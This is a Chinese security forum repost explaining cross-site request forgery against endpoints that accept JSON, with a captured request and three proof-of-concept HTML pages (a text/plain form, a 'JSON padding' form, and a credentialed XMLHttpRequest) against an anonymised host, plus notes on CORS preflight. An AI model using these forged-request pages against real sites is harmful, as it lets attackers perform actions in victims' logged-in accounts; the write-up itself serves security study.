搜索
查看: 786|回复: 0

关于JSON CSRF的一些思考

[复制链接]

1839

主题

2255

帖子

1万

积分

管理员

Rank: 9Rank: 9Rank: 9

积分
11913
发表于 2017-6-15 08:53:39 | 显示全部楼层 |阅读模式
From ChaMd5安全团队核心成员 Maple
CSRF作为常见漏洞,一直受到关注和研究,JSON是一种应用广泛的轻量级数据交换格式,当CSRF去POST一段JSON,情况可能会变得有些不一样;此次就一种特殊情况下的CSRF进行分析,权当抛砖引玉。
某次遇到一个没有验证token与referer的CSRF。
其原始数据包为:
  1. POST /webnet/edit HTTP/1.1
  2. Host: www.xxx.com
  3. User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0
  4. Accept: */*
  5. Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
  6. Accept-Encoding: gzip, deflate
  7. Content-Type: application/json; charset=utf-8
  8. Content-Length: 85
  9. Cookie: testcookie=yes; ASP.NET_SessionId=5udmqb45qoypdc55mfp1w4vy

  10. {"pSpotId":"120201","pSignTimes":"70","pModuleID":"207","pSceneid":"120201007000046"}
复制代码
很明显,这是个编辑某种信息的操作,POST的是一段JSON,且没有对token和referer的验证
用form来提交,poc如下,把name置为一段JSON,其value置为空:
  1. <html>
  2.    <body>
  3.     <form action="http://www.xxx.com/webnet/edit" method="POST" enctype="text/plain">
  4.       <input type="hidden" name="{"pSpotId":"120201","pSignTimes":"70","pModuleID":"207","pSceneid":"120201007000046"}" value="" />
  5.       <input type="submit" value="Submit request" />
  6.     </form>
  7.   </body>
  8. </html>
复制代码
不过这样POST的数据包会多一个“=”,因为我们虽然把value置为空,然后还是会出现“name=”。
    这种情况下服务端的JSON解析器可能会拒绝这段JSON,因为它不符合JSON的数据格式。参照外国基佬的做法,我们可以给value赋值从而对这个“=”后面的数据进行补全,使得其构成一个完整的JSON格式,可避免解析器报错(JSON Padding)。
    POC如下:
  1. <html>  
  2. <form action="http://www.xxx.com/webnet/edit" method="POST" enctype="text/plain">  
  3. <input name='{"pSpotId":"120201","pSignTimes":"70","pModuleID":"207","pSceneid":"120201007000046", "test":"' value='test"}'type='hidden'>  
  4. <input type=submit>  
  5. </form>  
  6. </html>
复制代码
得到的POST包,这样就构造出符合标准的JSON数据格式,从而避免报错:
    需要注意的是,在原始的数据包里Content-Type的值是application/json,而以form去提交是没法设置enctype为application/json的,在这里设置为text/plain,那么如何设置Content-Type的值呢?
    所以我们需要利用XHR进行提交,关于XHR的背景知识不再赘述:https://en.wikipedia.org/wiki/XMLHttpRequest。POC如下(其中将content-type设置为application/json):
  1. <html>
  2.   <body>
  3.     <script>
  4.       function submitRequest()
  5.       {
  6.         var xhr = new XMLHttpRequest();
  7.         xhr.open("POST", "http://www.xxx.com/webnet/edit", true);
  8.         xhr.setRequestHeader("Accept", "*/*");
  9.         xhr.setRequestHeader("Accept-Language", "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3");
  10.         xhr.setRequestHeader("Content-Type", "application/json; charset=utf-8");
  11.         xhr.withCredentials = true;
  12.         xhr.send(JSON.stringify({"pSpotId":"120201","pSignTimes":"70","pModuleID":"207","pSceneid":"120201007000046"});
  13.     }
  14.     </script>
  15.     <form action="#">
  16.       <input type="button" value="Submit request" onclick="submitRequest();"/>
  17.     </form>
  18.   </body>
  19. </html>
复制代码
   在CORS标准中,定义了新的HTTP消息头Access-Control-Allow-Origin,使得服务端可以定义允许通过浏览器请求的域集合。另外,标准定义了当跨域影响用户数据HTTP请求(如用XMLHttpRequest发送post)时,浏览器会发送预检请求(OPTIONS请求)给服务端征求支持的请求方法,然后根据服务端响应允许才发送真正的请求。
    在某些情况中,如果服务端对Content-Type进行校验,则不会响应这个OPTIONS请求,从而利用失败,但是更多的情况下服务端可能不会校验Content-Type,或者不会严格校验Content-Type是否为application/json,所以很多情况下这是可用的。

    参考文献:
  • http://blog.opensecurityresearch.com/2012/02/json-csrf-with-parameter-padding.html
  • http://huang-x-h.github.io/2015/03/11/cors-preflight/
  • https://groups.google.com/forum/#!topic/null-co-in/qymGjGTwE04
  • http://harttle.com/2016/12/30/cors-preflight.html



转载:https://mp.weixin.qq.com/s?__biz ... 0xTd200SGL09QzMi#rd

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?Join BUC

x
过段时间可能会取消签到功能了
您需要登录后才可以回帖 登录 | Join BUC

本版积分规则

Powered by Discuz!

© 2012-2015 Baiker Union of China.

快速回复 返回顶部 返回列表